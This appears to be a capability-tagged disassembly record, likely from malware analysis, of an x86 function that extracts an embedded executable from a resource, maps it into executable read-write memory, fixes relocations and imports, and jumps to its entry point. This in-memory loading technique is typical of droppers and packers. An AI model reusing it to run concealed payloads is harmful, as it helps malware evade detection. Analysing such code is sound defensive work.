Function at 0x401070
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Extract resource via kernel32 functions
Parse pe header

Disassembly:
sub esp, 0x10c
mov edx, dword [esp + 0x118]
mov eax, dword [esp + 0x110]
push ebx
mov ebx, ecx
mov ecx, dword [esp + 0x118]
push ebp
push esi
push edi
push ecx
push edx
push 0
mov dword [ebx + 8], eax
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebp, eax
mov dword [esp + 0x18], ebp
mov eax, dword [ebp + 0x3c]
add eax, ebp
mov dword [ebx + 0xc], eax
cmp word [ebp], 0x5a4d
je 0x4010ef
cmp dword [eax], 0x4550
je 0x4010ef
push 0x10
push 0x408464
push 0x408444
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10c
ret 0xc
mov esi, dword [eax + 0x50]
mov ecx, dword [eax + 0x34]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x40
push 0x2000
push esi
push ecx
call edi
test eax, eax
mov dword [ebx + 4], eax
jne 0x40111b
push 0x40
push 0x2000
push esi
push eax
call edi
mov dword [ebx + 4], eax
mov edx, dword [ebx + 4]
push 0x40
push 0x1000
push esi
push edx
call edi
mov eax, dword [ebx + 0xc]
mov edi, dword [ebx + 4]
mov esi, ebp
mov ecx, dword [eax + 0x54]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
xor edx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebx + 0xc]
xor ecx, ecx
mov dword [esp + 0x10], ecx
mov dx, word [eax + 6]
test edx, edx
jle 0x4011a9
add eax, 0x10c
mov esi, dword [eax]
lea edi, [esi + ebp]
mov dword [esp + 0x14], edi
mov edi, dword [eax - 4]
test edi, edi
je 0x40119d
mov edi, dword [eax - 8]
mov ebp, dword [ebx + 4]
add edi, ebp
lea ebp, [edx - 1]
cmp ecx, ebp
jge 0x401180
mov ecx, dword [eax + 0x28]
sub ecx, esi
jmp 0x401183
mov ecx, dword [eax - 4]
mov esi, dword [esp + 0x14]
mov ebp, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
mov ebp, dword [esp + 0x18]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
inc ecx
add eax, 0x28
cmp ecx, edx
mov dword [esp + 0x10], ecx
jl 0x40115a
mov edx, dword [ebx + 0xc]
mov ecx, dword [edx + 0xa0]
test ecx, ecx
je 0x401215
mov eax, dword [ebx + 4]
mov edi, dword [edx + 0x34]
add ecx, eax
mov esi, eax
sub esi, edi
mov eax, dword [ecx]
test eax, eax
je 0x401215
add eax, dword [ebx + 4]
mov edi, eax
mov eax, dword [ecx + 4]
sub eax, 8
shr eax, 1
je 0x401215
test eax, eax
lea edx, [ecx + 8]
jle 0x40120c
mov dword [esp + 0x10], eax
mov ax, word [edx]
mov ebp, eax
and ebp, 0xf000
cmp ebp, 0x3000
jne 0x4011fe
and eax, 0xfff
add eax, edi
add dword [eax], esi
mov eax, dword [esp + 0x10]
add edx, 2
dec eax
mov dword [esp + 0x10], eax
jne 0x4011e2
add ecx, dword [ecx + 4]
mov eax, dword [ecx]
test eax, eax
jne 0x4011c8
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebx + 0xc]
mov edi, dword [eax + 0x80]
test edi, edi
je 0x4012b6
add edi, dword [ebx + 4]
mov dword [esp + 0x10], edi
mov eax, dword [edi + 0xc]
test eax, eax
je 0x4012b6
jmp 0x40124b
mov edi, dword [esp + 0x10]
add eax, dword [ebx + 4]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, eax
test ebp, ebp
je 0x4012e5
mov ecx, dword [edi + 0x10]
mov eax, dword [ebx + 4]
mov edi, dword [edi]
test edi, edi
lea esi, [ecx + eax]
je 0x401270
mov ecx, edi
lea edi, [eax + ecx]
mov eax, dword [eax + ecx]
test eax, eax
je 0x4012a4
test eax, 0x800000
jne 0x401289
add eax, dword [ebx + 4]
add eax, 2
jmp 0x40128e
xor eax, 0x7fffff
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
add edi, 4
mov dword [esi], eax
add esi, 4
mov eax, dword [edi]
test eax, eax
jne 0x40127a
mov eax, dword [esp + 0x10]
add eax, 0x14
mov dword [esp + 0x10], eax
mov eax, dword [eax + 0xc]
test eax, eax
jne 0x401247
mov ecx, dword [ebx + 0xc]
mov eax, dword [ebx + 4]
push 0
push 1
mov edx, dword [ecx + 0x28]
mov ecx, dword [ebx + 8]
add eax, edx
push ecx
mov dword [ebx + 0x10], eax
call eax
mov ecx, ebx
call fcn.00401400
mov eax, dword [ebx + 4]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10c
ret 0xc
mov ecx, dword [edi + 0xc]
mov edx, dword [ebx + 4]
add ecx, edx
lea edx, [esp + 0x1c]
push ecx
push 0x40842c
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [esp + 0x1c]
push 0x10
push 0x408424
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10c
ret 0xc